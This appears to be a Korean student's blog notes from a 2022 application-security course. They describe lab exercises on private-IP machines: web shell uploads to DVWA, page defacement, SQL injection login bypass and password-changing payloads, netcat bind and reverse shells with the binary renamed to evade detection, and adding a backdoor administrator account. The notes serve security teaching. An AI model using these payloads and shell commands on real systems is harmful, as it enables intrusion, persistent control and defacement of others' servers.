- WebShell
- 관리자가 SSH, FTP 이용하지 않고 웹브라우저로 웹서버 관리하기 위한 도구 (GUI로 설정 가능)
- 공격자들이 WebShell > 서버로
- 대응 방법
1) 업로드 막기
2) 업로드된 WebShell은 동작하지 못하게 압축하여 보관
3) 위치 경로 알려주지 않거나 파일 이름 바꾸기
4) 대응 보안 솔루션 배치
- Content-Type은 text / plain이지만, Proxy 도구(Burp Suite)를 이용해 image / jpeg라고 속이기 → Client가 보내는 정보를 신뢰할 경우, 실제 들어있는 파일은 다른 WebShell
- Base64 이용 시 비밀번호를 인코딩할 경우 → ISMS-P 인증 심사에서 안전하지 않다고 봐서 결함으로 판단
실습)
- http://192.168.5.141/
- http://192.168.5.141/uploadfile/browser.jsp
- .. 클릭 시 상위 디렉터리로 이동

Deface 실습)
- 웹사이트의 첫 페이지를 바꾸는 공격
※ https://pixabay.com/ // 이미지 다운
jpg 파일 업로드 → index.jsp 파일의 edit 클릭 → <DIV style="position:absolute; left:200; top:90; Z-index:2;"> <img src="hack.jpg"></DIV> 삽입 후 save

SQL Injection 실습)
- id, pw 넣어 SELECT문 생성
1) pw 부분에 코드 넣기
로그인 SELECT문 : select id, pw from where id='webmaster' and pw=' ' or 1=1 -- ';//' or 2>1 -- // ' or 'a'='a' -- 가능
※ 주석 사용하지않을 시, ' (작은 따옴표) 개수를 예상대로 맞춤 (짝수 주석 불필요) // ' or 'a'='a

1) id 부분에 코드 넣기
id=' ' or 1=1 --' 입력

Q. 로그인 시 superman으로 로그인될까?
A. user table의 맨 위 있는 계정이 superman이라서 정확하게 지정되지 않을 경우 맨 위 레코드로 매칭 (DB속성)
※ 맨 위 레코드는 모니터링 계정으로 설정 (실제 권한X)
Q. 반드시 webmaster 계정으로 로그인하고 싶을 때
A. select id, pw from where id='webmaster' and 1=1 --' and pw=' '; // webmaster' -- 로 써도 가능 ( True and True는 불필요)

- Blind SQL Injection
- DB 구조 등을 모르는 상태에서 sql injection하는 것
sql문이 거짓이 되도록 만들어 에러 메시지 발생 → DB 이름, 테이블 이름, 컬럼 이름 알아내기
A부터 Z까지, 0부터 1까지 대입 → 하나 다른 결과값
Argo Club homepage에 ID 넣는 부분에 이력 실습)
select id, pw from where id='' having 1=1 --' and pw=' ' (group by가 있어야 having 사용 가능)
select userid, paswwd from tbl_member where userid='
' and passwd=' '
Q. webmaster의 passwd를 1234로 변경
A. select userid, passwd from tbl_member where userid=''; update tbl_member set passwd='1234' where userid='webmaster'; --' and passwd=' --
WebShell 실습)
- 실시간 감시 끄고 가능
http://192.168.5.141/uploadfile/browser.jsp 에서 php 다운로드
1) 이미지 업로드
dvwa file upload 클릭 → 이미지 업로드 → hackable/uploads/chihuahua-gc869286f6_640.jpg를 dvwa ip 뒤에 붙여넣기
2) php-backdoor.php 파일 업로드 & WebShell 실행

3) b374k-2.8.php 파일 업로드
dvwa file upload 클릭 → 이미지 업로드 → /hackable/uploads/b374k-2.8.php를 dvwa ip 뒤에 붙여넣기

3-1) Medium으로 변경 후 업로드
※ 업로드는 WebShell 말고 다른 것도 가능 (백도어, Reverse)
직접 실행 파일을 업로드 : 세션 직접 연결 → 원격 조종으로 시스템 영향
- 대표적인 도구 : RAT (Remote Access Trojan) → Victim에 몰래 업로드 후 원격 연결
ex) Netcat : nc.exe(윈도우용), nc(리눅스용)
1) 백도어 방식
: 공격자가 공격 대상과 연결
- Windows 2003 : Victim (Server)
cmd > nc -l -p 8000 -e cmd.exe
Server : 8000 포트( -p ) 열고 대기 ( -l )
Victim : -e, cmd.exe 권한 넘기기
cmd > cd \
cmd > wine -l -p 8000 -e cmd.exe // nc.exe 이름을 wine으로 변경해둠

- Ubuntu : Attacker (Client)
$ cd /
$ nc 192.168.5.141 8000 (8000은 포트번호)

C:\ > whoami // 권한 확인
C:\ net user astro candysugarpop /add // 계정명 'astro' , pw 'candysugarpop
C:\ net localgroup administrators astro /add // 관리자 그룹(administrators)에 astro 추가
- Windows 2003에서 사용자 생성 및 관리자 그룹 확인
컴퓨터 관리 > 로컬 사용자 및 그룹 > 사용자 // 계정 명인 'astro' 확인 가능

컴퓨터 관리 > 로컬 사용자 및 그룹 > 그룹 // 그룹에 'astro' 확인 가능

2) Reverse Connection
: 공격 대상이 공격자 쪽으로 접근하는 방식 (방화벽 우회 가능성 있음)
- Ubuntu : Attacker(Server)
$ nc -l -p 5678
- Windows 2003 : Victim (Clietnt)
cmd > wine 192.168.5.128 5678 -e cmd.exe
- Ubuntu : Attacker(Server)
$ nc -l -p 8000 // -l : 준비 , -p : 포트
http://192.168.5.141/uploadfile/cmdjsp.jsp
C:\ wine.exe 192.168.5.128 8000 -e cmd.exe // windows shell에서 확인 가능
(webshell 창에서 whoami, ipconfig, dir 등 윈도우 커맨드 명령어 실행 가능)

명령어 : cd \ > cd docu* > cd adm* > cd my* > dir

c:\ V3.exe 192.168.5.128 8000 -e cmd.exe
'SK shieldus Rookies 9기 > 애플리케이션 보안' 카테고리의 다른 글
애플리케이션 보안 수업 6일차 (22/09/13) (0) | 2022.09.13 |
---|---|
애플리케이션 보안 수업 5일차 (22/09/08) (0) | 2022.09.08 |
애플리케이션 보안 수업 4일차 (22/09/07) (1) | 2022.09.07 |
애플리케이션 보안 수업 2일차 (22/09/05) (0) | 2022.09.06 |
애플리케이션 보안 수업 1일차 (22/09/02) (0) | 2022.09.05 |